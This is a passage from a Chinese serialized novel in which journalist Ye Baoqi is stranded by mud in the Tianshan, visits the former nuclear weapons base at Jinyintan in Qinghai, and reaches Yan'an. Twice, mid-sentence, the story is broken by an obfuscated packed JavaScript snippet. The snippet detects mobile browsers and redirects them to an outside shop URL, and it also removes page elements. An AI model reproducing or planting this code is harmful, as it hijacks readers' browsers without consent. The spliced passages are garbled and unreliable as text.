小刘试了所有方法:垫石块、挖淤泥、反复冲刺。车轮只是越陷越深,旋转时甩出的泥浆在车灯照射下,像黑色的血。最终,引擎过热保护启动,车辆彻底沉默。四周只剩下雨声,还有河谷里暴涨的水声——那声音从远处传来,低沉而持续,像巨兽的肠鸣。 寒冷悄然降临。不是温度计显示的寒冷,是那种从骨髓深处开始结晶的冷。叶葆启翻出最后几块馕,掰开时碎屑如雪落下。他们轮流喝一小口保温壶里的热水,每一次吞咽都成为隆重的仪式。 摄影记者开始讲他人生中第一次陷车,在柴达木盆地,摄氏零下二十五度。“我和老班长困了七天。最后两天,我们开始聊天,聊着聊着,发现对方的脸在变化。老班长变成了我死去多年的父亲,我变成了他从未谋面的儿子。我们对着彼此喊错的名字,把一生的秘密都说给了错误的人听。” “后来呢?”小刘呵着白气问。 “后来救援队来了,说我们运气好。可我知道不是运气。”摄影记者的眼珠在黑暗里发着幽光,“是我们用幻觉支付了路费,山神才放我们走。” 这话让叶葆启脊背发凉。他看向车窗外沉甸甸的黑暗,忽然觉得那些黑暗是有质量的、有生命的。也许摄影记者说得对,这条路上需要支付的不是金钱,而是别的什么——记忆、理智,或者灵魂的碎片。 为了抵御逐渐蔓延的麻木,叶葆启打开采访本,借着手电筒惨白的光写字。笔尖划破纸张的声音,在雨声中微小却清晰,像一只虫在啃食时间。 “我们在天山腹地变成了一件等待被签收的货物……”他写道,“车是铁皮的棺材,雨是永不止息的挽歌。张说他在吃胶片那年见过水下的眼睛,我此刻也看见了——不是在水里,在黑暗里。它们悬在车窗外,密密麻麻,没有恶意也没有善意,只是看着。这些眼睛属于所有曾消失在这条路上的人:赶驼队的商人、勘测队员、走私犯、逃婚的情侣……他们嵌在山的记忆里,成为地质层的一部分。” 写到这里,叶葆启真的看见了眼睛。不是幻觉,是远处山坡上缓缓移动的光点——野狼?岩羊?还是摄影记者所说的“哨兵”?它们保持距离,形成松散的包围圈。小刘也看见了,默默从座位下抽出防身的铁棍。 但那些光点始终没有靠近。它们只是存在,像星群坠落在此处,标记着这片夜晚的坐标。 凌晨一点,饥饿开始显形。它不再是一种感觉,而是一个实体,蹲在车厢角落里,有潮湿的皮毛和温热的鼻息。叶葆启想起莫言描写过的饥饿:“饥饿像一条狗,跟着你,舔你的脚后跟。”此刻这条狗钻进了他们的胃,用爪牙刮擦着内壁。 摄影记者忽然说:“我听见有人在唱歌。” 小刘侧耳:“只有雨声。” “不,是歌声。很老的哈萨克民歌,《白色的山峰》。我二十年前在伊犁河谷录过,那个老歌手唱完就死了,肺里全是雪山的风。”摄影记者闭上眼睛,干裂的嘴唇微微翕动,竟哼出了几个破碎的音调。 叶葆启也听见了。不是通过耳朵,是通过骨头传导的震动——遥远、苍凉、断断续续,像风穿过岩石的孔窍。也许不是歌声,是山在模仿歌声,用千百年的记忆。 两点十七分,卫星电话终于接通救援队。信号断续,叶葆启的喊声在风雨中破碎成单字:“陷车……河谷……巴仑台方向……”对方的声音像是从水底传来:“……坚持……车已出发……” 挂断后,希望并未如期而至,反而让等待变得更加锋利。知道救援在路上,就像知道刀正在落下,却看不见它下落的轨迹。小刘开始检查车辆设备,一遍又一遍,用机械的重复对抗焦虑。摄影记者睡着了,发出轻微的鼾声,怀里还抱着相机。叶葆启看着这两个同伴,忽然涌起一种近乎温柔的情绪:他们是他在这个世界上最熟悉的陌生人,共享过同一段被压缩的时空,此后无论生死,都会在彼此的记忆里留下烙印。 他想起了自己早逝的父亲,一个沉默的人。父亲唯一留下的遗物是一本野外笔记,最后一页写着:“今日在昆仑山北坡发现蓝色岩层,疑为古海洋遗迹。风大,帐篷险些被掀翻。小马发烧说明话,喊一个女人的名字,不是他妻子。大山记得所有秘密。” 大山记得所有秘密。此刻天山也记得他们的困境,记得引擎最后的哀鸣,记得手电筒光柱划破雨夜的轨迹。许多年后,当其他车辆经过此处,或许会收到这段记忆的碎片——无线电里莫名的杂音,仪表盘瞬间的波动,或是车灯照亮岩壁时一闪而过的、三个模糊人影。 救援车到来前,叶葆启做了一个短暂的梦。他梦见自己走出了越野车,雨停了,月光洒满河谷。前方站着一个人,背对着他,穿的是七十年代的地质队员制服。那人转过身,是父亲的脸,却年轻得令人心碎。 “路还远。”父亲说,声音像碎石摩擦。 “我知道。” “有些东西不要深究。”父亲指向河谷深处,“山肚子里埋着的,不只是岩石。” “那还有什么?” 父亲笑了,笑容裂开,里面不是牙齿,是小小的、发光的晶体:“有光。被压碎的光,尖叫的光,还有永远不会抵达目的地的光。” 梦在这里断裂。引擎声由远及近,雪亮的光柱刺破黑暗。救援车像从神话里驶出的巨兽,浑身沾满泥浆,车前焊着粗壮的钢架,仿佛中世纪骑士的长矛。 哈萨克族队长跳下车时,大地都在震动。他叫叶尔肯,脸颊上有两道深刻的冻疮疤痕,像额外的嘴。“记者同志!”他的握手有力得能捏碎骨头,“又是这个鬼地方,今年第三辆车了。” 救援过程简单粗暴:钢缆、绞盘、引擎的咆哮。越野车被从大地的吮吸中拔出来时,发出一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904185|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类似哭泣的吱呀声。叶尔肯检查了底盘,吐了口唾沫:“没事,天山跟你们开玩笑呢。它有时吞辆车,就像人嗑个瓜子。” 重新上路前,叶尔肯递给叶葆启一个锡壶:“喝一口,驱寒。” 是烈酒,滑过喉咙时像吞下一道火线。叶葆启咳嗽起来,眼泪都呛了出来。叶尔肯大笑,笑声在河谷里回荡,惊起了远处不知名的夜鸟。 “你们要去南疆?”叶尔肯问。 “去库尔勒,然后可能去和田。” “南疆的沙子和北疆的雪不一样。”叶尔肯望向黑暗深处,“雪只是冷,沙子会钻进你的脑子,改变你想事情的方式。小心点,记者同志,别让沙子住进去。” 这句忠告像一颗种子,埋在了叶葆启心里。后来的日子里,他时常感到后脑勺某处有细微的摩擦声,仿佛真有沙粒在那里定居,缓慢地打磨着他的记忆。 抵达巴仑台镇时,天边已泛起尸骨般的苍白。旅店老板娘是个四川女人,四十多岁,眼角的皱纹里嵌着洗不净的煤灰。她没多问,直接扔出三把钥匙:“热水只到六点,过时不候。” 房间狭小,墙壁上的水渍形成抽象的地图。叶葆启倒在床上,感到自己像一件被拆散的机械,每个关节都在呻吟。但他睡不着,耳朵里还回响着引擎声、雨声、摄影记者哼唱的破碎歌谣。 他起身,再次翻开采访本。手电筒光下,之前写的字迹有些洇开,像在哭泣。 “凌晨四点的巴仑台,”他写道,“像大战后的废墟。不是被摧毁,是被遗弃。老板娘说她来了十五年,见过的记者有几十批。‘都像你们一样,不要命地往山里钻。’她说。我问她为什么留下。她点了支烟,烟头在黑暗里明明灭灭:‘等一个人。虽然知道他不会回来了。’” “每个西部的驿站都住着等待的幽灵。她们等丈夫、等儿子、等一封永远不会抵达的信。我们在等的又是什么?一个真相?一篇报道?还是一个能说服自己继续前行的理由?” “张在隔壁打鼾,小刘在擦他的靴子。我们都是彼此的见证者,证明对方确实存在过,确实在这条生死线上走过一遭。没有见证,痛苦就会消失,像从未发生。这是最可怕的——不是死亡,是被遗忘。” 他写到这里,听见窗外传来歌声。不是幻觉,是真有人在唱,用他听不懂的突厥语系语言,苍凉如狼嚎。他走到窗边,看见街对面屋檐下,一个老汉抱着热瓦普,对着逐渐亮起的天光弹唱。音符像受惊的鸟,扑棱棱飞进晨曦。 那一瞬间,叶葆启理解了摄影记者的痴迷。不是对摄影,是对“凝固”的痴迷——把流动的光、易逝的声、即将消散的瞬间,强行固定在某个媒介上。这是一种反抗,对抗时间的腐蚀,对抗存在的虚无。 他举起随身的小相机,拍下了弹唱的老汉。闪光灯惊动了老人,他停下,望向这边。然后,出乎意料地,他点了点头,仿佛完成了某种交接仪式,继续弹唱。 第二天是个谎言般的好天气。阳光纯净得如同创世之初,把昨夜的一切泥泞、黑暗、恐惧都蒸发得干干净净。天山露出它仁慈的一面:雪峰耀眼,云朵蓬松,连风都变得温柔。 摄影记者早早起来,蹲在旅店门口擦他的镜头,专注得像在擦拭圣物。小刘检查车辆,报告说除了剐蹭,一切正常。叶葆启看着他们,看着阳光下闪闪发光的巴仑台镇,忽然觉得昨夜的困境像一场集体幻觉。 但车身上的泥浆是真的,剐痕是真的,仪表盘上显示的发动机过热记录也是真的。真实与幻觉在这条路上没有明确边界,它们互相渗透,像雨水渗入大地。 出发前,老板娘追出来,塞给他们一袋烤馍:“路上吃。南疆还远呢。” 车驶出镇子,重新汇入天山脉络。经过昨夜陷车的地方,叶葆启让小刘停下。白天的河谷完全变了样:水流湍急但清澈,岸边有被冲倒的红柳,几只乌鸦在捡食什么。完全看不出这里曾吞噬过一辆车,囚禁过三个人。 “看那里。”摄影记者指向河滩。 阳光下,有什么东西在反光。他们走近,发现是半截埋在沙石里的汽车保险杠,锈蚀严重,不知是哪年哪月的遗物。摄影记者拍照时,叶葆启用脚拨开周围的石子。更多碎片露出来:玻璃碴、齿轮、一块印着模糊字迹的牌照。 “天山是个贪吃的孩子。”摄影记者说,“但它消化不了钢铁,只能吐出来,一点一点,像反刍。” 这个比喻让叶葆启想起父亲笔记里的那句话:“大山记得所有秘密。”也许这些钢铁残骸就是山的记忆体,是它无法消化、又不愿遗忘的部分。每一片锈铁里都封存着一个故事:抛锚、绝望、救援或死亡。 他们沉默地站了一会儿,对这片无名墓地致意。然后上车,继续向南。 路在延伸,仿佛永无止境。但叶葆启知道,最险峻的路段已经过去。接下来的考验会是另一种形式:南疆的沙漠会带来不同的幻觉,那是干渴的、灼热的、让人产生海市蜃楼的幻觉。 他回头望了一眼逐渐远去的天山。晨光中,山脉的轮廓变得柔和,几乎像母亲的侧影。但他知道,那温柔是假象。山永远是山,它给予的与夺取的一样多。而记者的使命,就是行走在这给予与夺取的边缘,记录下所有濒临消失的、不被看见的、在绝境中开出的花。 摄影记者摇下车窗,让风灌进来。风中已经带着沙漠的气息,干燥的、颗粒状的、仿佛能听见无数细沙摩擦的声音。 “老叶,”他说,“我想明白了。昨晚拍的那张石头下落的照片,我要叫它《未抵达的讯问》。” “为什么?” “因为所有落下的石头,都是山向大地提出的问题。但大地从不回答。” 叶葆启看向前方无尽的路。是啊,他想,他们也在提问,向这片土地,向这里的人,向这个时代。有些问题会有答案,有些会像那些石头一样,永远悬在半空,成为未抵达的讯问。 越野车加速,驶向南方。天山在后视镜里渐渐变小,最终成为地平线上一道银色的缝,像天空刚刚愈合的疤痕。 而他们,带着这道疤痕的印记,继续走向更深的辽阔。 34. 第034章 隐没的银冠 穿越西部生死线后,他们在塔克拉玛干边缘的县城休整了几日。叶葆启的笔记本里夹着几片枯死的胡杨叶,像某种来自远古的符文。当他们调头东返,翻越阿尔金山垭口时,七月的高原风突然变得粘稠——仿佛不是空气在流动,而是时间本身在翻涌。 司机指着前方说:“进了青海,天地就不一样了。” 确实不一样。山体的颜色从赤褐转为青灰,云层低垂得几乎要擦着越野车的顶架。叶葆启摇下车窗,闻到一股混合着牦牛粪、酥油和某种金属锈蚀气味的复杂气息。这气息让他想起童年时祖母的铁皮盒子,打开时总涌出说不清年代的味道。 青海在他们面前缓缓展开,不是画卷式的展开,而是像一本厚重的、书页粘连的典籍,需要用力才能翻开。他们计划探访的第一个地方,既非碧波万顷的青海湖,也非金顶辉煌的塔尔寺,而是一个在地图上曾消失三十年的地名——金银滩草原。当地人叫它“原子城”,但在某些机密档案里,它只是“青海矿区”或一串数字代号:二二一。 越野车驶入金银滩时,正是午后。阳光在草原上泼洒出万千光斑,每一株草尖都顶着一颗颤抖的太阳。远处,祁连山的雪峰像一排列队的银甲武士,沉默地守护着什么。草原太美了,美得不真实——紫色的格桑花、黄色的垂头菊、猩红的狼毒花,织成一块漫无边际的锦缎。牛羊散落其间,移动缓慢,仿佛时间在这里被稀释了。 然而,当那些红色砖楼从地平线浮现时,整个画面的色调陡然改变。 楼群排列得过于整齐,像是用巨大的尺子比量过。三层或四层,坡屋顶,方窗户,墙面上的红漆已经斑驳,露出底下更暗的底色。有些窗户破了,黑洞洞的,像被挖去眼珠的眼眶。楼与楼之间是宽阔的水泥路,路缝里长出一丛丛倔强的野草。 “到了。”司机熄了火。 发动机的轰鸣停止后,草原的寂静像潮水般涌来。不是纯粹的静——风在耳边呜咽,远处有牧羊犬的吠叫,更远处是隐约的河流声。但在这片遗址上空,悬浮着另一种寂静:一种被刻意保持的、充满张力的沉默。 基地旧址纪念馆是由当年的厂部办公楼改造的。一进门,先看见的是一面巨大的铜浮雕:蘑菇云的图案被抽象成旋转升腾的火焰,火焰中浮现出无数张面孔——戴眼镜的、戴军帽的、裹着头巾的,所有面孔都朝着同一个方向仰望。 一位老人迎上来。他走路时左腿微微拖沓,像是关节里藏着某个旧伤痛的记忆。头发全白了,但梳得一丝不苟,中山装的扣子一直系到领口。 “我姓赵,以前在这里搞工程。”老人的声音沙哑,带着江浙口音,“你们是记者?好,好,该写写这里了。” 赵老的手异常干燥,握上去像握住一截老树根。他的眼睛是浑浊的黄色,但看向墙上的老照片时,突然变得清亮起来。 第一张照片摄于1958年秋。一群年轻人站在刚刚搭起的帐篷前,背景是苍茫的草原和更苍茫的天空。他们都穿着臃肿的棉大衣,笑容却很灿烂,牙齿在高原阳光下白得耀眼。照片右下角有一行小字:“首批建设者抵达矿区留念”。 “这个人,”赵老的手指轻轻触碰玻璃框,指着一个戴眼镜的瘦高个,“是个物理老师,姓王。他报到时带了两箱子书,结果发现这里连张像样的书桌都没有。后来他把箱子摞起来当桌子,趴在箱子上算数据,一算就是通宵。” 赵老停顿了一下,似乎在聆听什么。叶葆启也跟着侧耳——只有风声。 “有天夜里下大雪,帐篷快压塌了。王老师第一个冲出去加固支撑,回来时眉毛头发全结了冰。大家笑他像个白毛仙翁,他就用冻僵的手在帐篷壁上画了个蘑菇云,说:‘等咱们的宝贝成了,比这帐篷大一千倍,一万倍。’” “后来呢?”年轻摄像师小刘问。 “后来……”赵老的手指从照片上滑开,“后来他在一次试验中受了辐射,调回北京治疗。临走时,他把自己那两箱书留给了我,说:‘老赵,这些我用不上了,留给后面的人。’” 赵老转身走向下一个展柜,脚步更拖沓了些。叶葆启注意到,那两箱书并没有出现在纪念馆的展品中。它们去了哪里?是被翻烂了,遗失了,还是化作了纸浆,又重生为别的文字?莫言常说,物件是有灵魂的,它们记得所有抚摸过自己的手。 第二张照片是爆轰试验场的施工现场。巨大的深坑已经初具雏形,吊车、推土机、密密麻麻的工人。每个人都小得像蚂蚁,但每只“蚂蚁”都绷紧了身体的每一根线条。 “这是‘亚洲第一坑’。”赵老说,“当时没有大型机械,很多是靠人挖肩扛。冬天,地表冻得比铁还硬,一镐下去只留个白点。有个四川来的小战士,虎口震裂了,鲜血把镐把染得通红。卫生员要给他包扎,他说:‘等会儿,等我把这个数据记下来。’你们猜他记在哪里?” 赵老的目光扫过每个记者,最后落在叶葆启的笔记本上。 “记在绷带上。他用蘸着血的纱布,在水泥模板上写数字。后来那块模板被浇注进混凝土,永远埋在了坑底。” 叶葆启下意识地摸了摸自己的笔记本。他的字是用墨水写的,可以擦去,可以修改。而那些血写的数字,一旦写下就永远定格,成为建筑的一部分,历史的一部分,土地的一部分。 黄昏时分,赵老带他们去上星站。 那是一座孤零零的站台,两条铁轨从站台延伸出去,消失在暮色中的草原深处。铁轨已经生锈,枕木间的野草长得齐膝高。站台的水泥地面裂缝纵横,裂缝里填满了黑色的泥土和细小的白色野花。 “这里是将部件装配完毕,送上专列的地方。”赵老站在站台边缘,身影在夕阳下被拉得很长,“每次运输都是在深夜,绝对保密。火车进站时不鸣笛,车头灯用黑布蒙着,只留一条缝。装卸工人穿着特制的防护服,像一群沉默的白色幽灵。” 他顿了顿,眼睛望向铁轨消失的方向。 “有一次,也是这样的黄昏,我亲眼看见列车启动。那是一节特殊的车厢,外面看起来和普通车厢没两样,但里面……里面装的是即将成型的‘产品’。火车缓缓开动时,整个站台的人都立正敬礼。没人说话,只有车轮撞击铁轨的哐当声,一声,一声,像是大地的心跳。” “后来呢?”叶葆启问。 “后来那列火车安全抵达罗布泊。再后来,1964年10月16日,那边传来消息——成了。” 赵老说“成了”两个字时,声音很轻,轻得几乎被风吹散。但叶葆启却觉得,这两个字重得能让铁轨震颤。 夜幕完全降临。没有路灯,只有月光泼洒在站台上,把一切都镀上一层清冷的银白。叶葆启独自在站台上走了一圈,靴子踩在碎石上发出咯吱咯吱的声响。他突然产生一种幻觉:如果此刻蹲下来,把耳朵贴紧铁轨,也许还能听见三十年前的震动,那些深夜里的秘密运行,那些被蒙住眼睛的列车,那些连自己运送的是什么都不知道的押运员。 远处传来狼嚎,悠长而苍凉。草原的夜晚醒了。 第二天,他们去看爆轰试验场遗址。 车在草原上颠簸了半个多小时,直到前方出现一个巨大的、凹陷的地形。那不是天然的洼地——边缘太过规整,像是被一只巨人的汤匙狠狠挖走了一块土地。 赵老站在坑边,白发在风中飞扬。他没有立即说话,而是从口袋里掏出一个小布包,打开,取出一把灰白色的土,轻轻撒向深坑。 “这是从罗布泊带回来的土。”他解释,“每次有老同事回去参观,都会带一点回来,撒在这里。算是……团圆吧。” 深坑直径近百米,坑壁是裸露的钢筋混凝土,上面布满了蛛网般的裂缝。最震撼的是那些漆黑的灼烧痕迹——不是涂料,不是污渍,是瞬间的极端高温在材料上留下的永久印记。痕迹呈放射状,从坑底某个中心点向外扩散,像一朵被定格在绽放瞬间的黑色花朵。 “这里进行过几十次爆轰试验。”赵老说,“用的是缩小比例的模型。每次试验前,所有人撤离到五公里外的掩体里。倒计时开始:十、九、八……数到一时,大地会剧烈震动,即使隔着掩体也能感到胸腔在共振。然后是一道强光,强到能穿透眼皮。最后才是声音——不是‘轰’的一声,而是持续的低吼,像是地底有巨龙翻身。” 叶葆启走到坑边,俯身向下看。坑底积了雨水,形成一小片浑浊的池塘,倒映着天空的流云。他忽然想起莫言在《丰乳肥臀》里描写的爆炸场景:“火光不是红色,是惨白,像死人的脸。”那么这里的火光呢?该是什么颜色?恐怕是世间没有的颜色,是只有在物质转化为能量的那个瞬间才会显现的、属于宇宙本质的颜色。 摄像师想下到坑底拍摄,被赵老制止了。 “辐射水平虽然已经安全,但有些东西……最好不要打扰。”老人的眼神复杂,“下面埋的不只是混凝土和钢筋。” 叶葆启明白他的意思。埋在那里的是时间,是青春,是无数个不眠之夜的计算与争论,是算盘珠的噼啪声和手摇计算机的咔嗒声,是在绝密条件下相恋又不得不分离的爱情,是父亲离开时孩子还没出生、回来时孩子已会走路的遗憾。 下午,他们拜访了草原上的牧民才让一家。 才让的帐篷离遗址区大约十里,是划定的牧区。他四十多岁,脸庞被高原阳光镀成古铜色,眼角皱纹深刻,笑起来时整张脸像一朵绽放的菊花。 “我阿爸是厂里的司机。”才让一边给他们倒酥油茶,一边用生硬的汉语说,“开那种大卡车,绿色帆布篷的。小时候我不知道他运什么,只知道他每次出车回来,都会带点好东西——有时候是几颗水果糖,有时候是一本旧画报。” 帐篷里挂着几张老照片。其中一张是才让的父亲站在卡车前,身穿旧军装,胸前别着一枚像章。卡车被帆布裹得严严实实,看不出里面装了什么。 “阿爸说,有次冬天出车,遇到暴风雪,能见度不到五米。车队迷路了,在草原上转了一夜。天亮时,他们发现自己就在试验场边缘,再往前开几百米,就会闯入禁区。”才让喝了一口茶,眼睛望向帐篷外无垠的草原,“带队的老兵下了车,跪在雪地里磕了三个头,说:‘祖宗保佑,没酿成大错。’后来他们才知道,那天禁区里正好有重要试验。” “你父亲现在……”叶葆启问。 “走了,十年前走的。”才让平静地说,“肺病。医生说,可能和年轻时接触的东西有关,也可能就是草原上常见的病。阿爸自己从没抱怨过。临终前,他把我叫到床边,说:‘才让,我这一辈子,最光荣的就是那十几年。虽然不能对人说,但我知道自己在做什么。’” 才让的妻子一直安静地坐在帐篷角落捻羊毛线。这时她抬起头,用藏语说了句什么。才让翻译道:“她说,阿爸下葬时,我们按藏族习俗请了喇嘛念经。喇嘛说,他的灵魂很干净,像雪山上的雪。” 帐篷外传来羊群的叫声。才让的小女儿跑进来,大约七八岁,红扑扑的脸蛋,辫子上缠着彩色丝线。她好奇地打量着采访组,最后目光落在摄像机上。 “这个能照相吗?”她问。 摄像师给她看取景器里的画面。女孩看见自己的脸,咯咯笑起来,笑声清亮得像银铃。 叶葆启突然想到:这笑声,这平静的牧羊生活,这代代相传的草原,都是因为几十年前那些隐姓埋名的人,在离此不远的红砖楼里,用青春乃至生命换来的。 和平是有重量的,它压在每一株草上,每一片云上,每一个孩子的笑声上。 那晚他们住在海晏县城的招待所。叶葆启失眠了。 窗外,青海的星空低垂得惊人,仿佛跳起来就能摘下一把星星。银河横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904186|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯天际,乳白色的光带里嵌着无数闪烁的钻石。这样的星空,当年那些科学家们也一定看过。他们在计算间隙走出帐篷,揉着酸痛的眼睛,抬头看见这亘古不变的星河时,会想些什么? 也许会想到家乡,想到父母妻儿,想到自己正在从事的事业将改变这个国家的命运。也许什么都不想,只是让星空那冰冷的辉煌,暂时洗净脑海中的复杂公式和重重忧虑。 凌晨两点,叶葆启披衣起床,走进招待所的小院。却发现赵老也在,坐在石凳上抽烟,烟头在黑暗中一明一灭。 “赵老,您也睡不着?” “年纪大了,觉少。”老人拍拍身边的位置,“坐。” 叶葆启坐下,闻到烟草混合着夜露的气息。 “白天您说的那位王老师,”叶葆启犹豫了一下,还是问了,“他后来怎么样了?” 赵老深吸一口烟,缓缓吐出。烟雾在月光下变成淡蓝色的纱。 “他回北京治病,三年后去世了。临走前给我写过一封信,说:‘老赵,我不后悔。唯一遗憾的是,没能看到孩子们长大的样子。’他有三个孩子,来青海时最大的才五岁。为了保密,他写信时不能提工作,只能说‘我在西北搞建设’。孩子们以为爸爸在修铁路,还在作文里写:‘我爸爸是铁道兵,他在祖国最需要的地方。’” 赵老的声音很平静,但叶葆启听出了平静下的汹涌。 “后来呢?孩子们知道真相了吗?” “知道了,八十年代解密后。最小的那个女儿,后来考上了北大物理系。她说,她要走完父亲没走完的路。”赵老掐灭烟头,“前年她来原子城参观,我见到了,四十多岁的人,站在父亲住过的宿舍楼前哭得像个小姑娘。” 沉默。只有远处偶尔传来的狗吠。 “赵老,您自己呢?后悔过吗?”叶葆启问完就后悔了——这问题太直接,太残忍。 但老人笑了,是那种经历过一切后的通透的笑。 “后悔?不。我们那一代人,心里都憋着一股气。你知道新中国成立时,西方怎么说我们吗?他们说,中国搞不出原子弹,给再多时间也搞不出。有位外国专家临走时撂下话:‘你们只能种土豆,搞不了尖端科学。’” 赵老站起来,伸展了一下僵硬的腰背。 “我们就偏要搞出来。没有计算机,用手摇计算器;没有大型机床,用锉刀一点点锉;没有经验,就一遍遍试,试到成功为止。你说苦不苦?苦。但那种苦,是甜的苦——就像你喝惯了酥油茶,会觉得奶茶没味儿。” 他望着星空,声音变得悠远:“我这辈子最骄傲的时刻,不是原子弹爆炸成功那天——那天我在加班,是后来听广播知道的。我最骄傲的,是1967年□□试验成功后,我作为代表去开会。散会后,我一个人走到广场,看着城楼上的像,心里说:‘主席,我们做到了。’那一刻,我觉得所有的苦,所有的隐姓埋名,都值了。” 叶葆启的喉咙发紧。他想说些什么,却找不到合适的词。语言在这种时刻总是贫乏的。 “小叶子,”赵老突然用长辈的口吻叫他,“你是记者,要用笔把这一切记下来。不是记功劳,不是记数据,是记那些人——那些把名字刻在保密条例上的人,那些在草原上老去的人,那些永远留在这里的人。他们不需要立碑,但需要被记住。” “我会的。”叶葆启郑重地说。 离开原子城那天,下起了小雨。 雨丝细密,把草原染成深浅不一的绿。远处的红砖楼在雨雾中变得朦胧,像是正在慢慢溶化,要回归土地。赵老撑着黑伞在纪念馆门口送他们,身影在雨幕中显得格外瘦小。 “保重身体,赵老。”叶葆启用力和他握手。 “你们也是。后面的路还长。”老人从口袋里掏出一个小纸包,“这个,留个纪念。” 纸包里是一小块铁片,边缘已经锈蚀,但还能看出原本的弧度。 “这是从第一台离心机上拆下来的零件。报废时,我偷偷留了一小块。”赵老的眼睛在伞下闪着光,“现在给你们。也许它能告诉你们,真正的力量是什么。” 越野车启动了。叶葆启回头,看见赵老还站在雨中,身影越来越小,最后变成一个黑点,融进那片红色的楼群,融进那片开满鲜花的草原,融进那段正在远去的、却永远不会消失的历史。 雨刷器有节奏地摆动。车内很安静,每个人都沉浸在自己的思绪里。叶葆启摸着口袋里那块铁片,冰冷,粗糙,却有着生命的温度。 他在笔记本上写下: “金银滩的鲜花年年盛开,像大地的记忆,绚烂而短暂。而那些红砖楼正在老去,像历史的骨骼,沉默而永恒。在这鲜花与砖楼之间,在这短暂与永恒之间,行走过一代人——他们用青春浇灌荒原,用智慧点燃闪电,用沉默守护雷鸣。他们的名字不为人知,但他们的功勋镌刻在每一寸和平的土地上,呼吸在每一个自由的空气里。 “记者之笔太轻,称量不动这样的重量。但还是要写,要记,要传——因为遗忘是第二次死亡,而记忆是永恒的复活。” 车窗外,雨渐渐停了。一道彩虹横跨草原,一端落在原子城旧址,一端伸向祁连雪山。光在雨后的水洼里跳跃,每一片草叶都顶着一颗颤抖的世界。 青海在他们身后缓缓合拢,像那本厚重的典籍,翻过了一页,但故事还在继续。 而前方,青海湖的蓝色已经在地平线上隐约浮现——那是另一种浩瀚,另一种深不可测。但叶葆启知道,见过原子城的他,已经不再能用从前的眼睛看这片高原了。有些东西一旦看见,就永远改变了你。 就像那些科学家,一旦选择了那条路,就再也不能回头——也不需要回头。 因为他们的前方,是整个民族的未来。 他们的身后,是终于挺直的脊梁。 35. 第035章 厚土流光 月光是有重量的。叶葆启推开木窗时,那银白色的光倾泻进来,压在他的肩头,像浸透了黄土的雨水,沉甸甸地渗进布衫里。陕北的夜,静得能听见月光流淌的声响,汩汩的,仿佛从远古的地层深处涌上来。 抵达延安第三日,他的眼睛仍有些不适应。不是光线,是那种晕眩——时间在这里失了轮廓,像一匹洗旧了的土布,八十年的经纬纠缠在一起,分不清哪是经,哪是纬。宝塔山的剪影在黄昏里蹲坐着,像一头反刍岁月的老牛。延河的水波光粼粼,让他想起小时候祖母铜盆里晃动的灯影。 在陈列馆,他看见一支钢笔。笔帽上有细密的齿痕,像是被什么反复啃咬过。讲解员的声音忽远忽近,他只盯着那齿痕看,仿佛能听见深夜窑洞里,笔尖划过麻纸的沙沙声,混着远处山峁上野狼的嗥叫。他在笔记本上写:“器物是会呼吸的。这钢笔里,憋着一口未吐尽的气。” 转身时,眼角的余光扫到玻璃上一个人影。灰布衫,模糊的脸。他猛回头,只有几个游客举着相机,闪光灯白得刺眼。可那一瞬,他分明闻见了旧棉布在阴雨天返潮的气味,混着旱烟叶子和劣质墨汁的味道。 “瞅见啥了?”同行的老陈问他。 “风,”叶葆启说,“穿堂风。” 但他知道不是。在青海那些废弃的厂房里,他也听过类似的声音——不是人声,是算盘珠子在黑暗里自己跳动,噼里啪啦,像一场无人观看的雨。 枣园的清晨是被鸟喙啄开的。信天游的调子断断续续,从这道梁飘到那道峁,碎成一片片,落在带露水的草叶上。叶葆启踩着湿漉漉的小径走,老枣树的影子在地上爬,树干拧得像受苦人的脊梁。他伸手摸那些皴裂的树皮,想象许多年前,也许有个娃娃用小刀在上面刻过字。刻的啥?一个“活”字,或是一个“走”字,早被树皮吞进了肚里。 窑洞比想象得更低矮,进门得弯下腰,像给什么看不见的东西鞠躬。里头阴凉,一股子土腥气混着霉纸味儿。木板床硬得硌人,煤油灯的玻璃罩熏得昏黄。他没敢碰那灯,只在半尺外虚虚地描摹它的轮廓——仿佛那簇火苗还在,只是睡着了。 “在这儿,写下了不少文章哩。”脸颊红扑扑的姑娘说。 叶葆启忽然想,那些字不是写出来的,是从黄土里长出来的。就像崖畔上的山丹丹,根扎在最贫瘠的土里,开出的花却红得骇人。 他在本子上画了个窑洞,在旁边注:“地方越小,心思越能漫山遍野地长。这是个怪理儿,可在这儿,是真的。” 人都走了,他还留在最后。穿堂风溜进来,灯影在土墙上晃了晃,像在摇头,又像点头。他低声问:“那时候,心里头空不空?” 只有风擦过门楣的呜咽。 去访安塞的老刘,车在黄土褶子里打转。那些沟壑纵横,像老人脸上的皱纹,又像干涸的河床,等着哪场暴雨来唤醒记忆。叶葆启想起父亲的手——也是这般干裂,掌纹里嵌着洗不掉的机油和铁锈。父亲修了一辈子铁路,临了握着他的手说:“笔杆子要替哑巴说话。”那时他不明白,现在看着车窗外一坡一坡的绿,忽然有些懂了。 老刘家在沟掌上。三孔新窑,白灰墙晃眼。院子里的苹果树刚坐果,青疙瘩藏在叶子里,羞答答的。老刘盘腿坐在炕上,烟锅子敲得炕沿咚咚响,像在敲一面看不见的鼓。 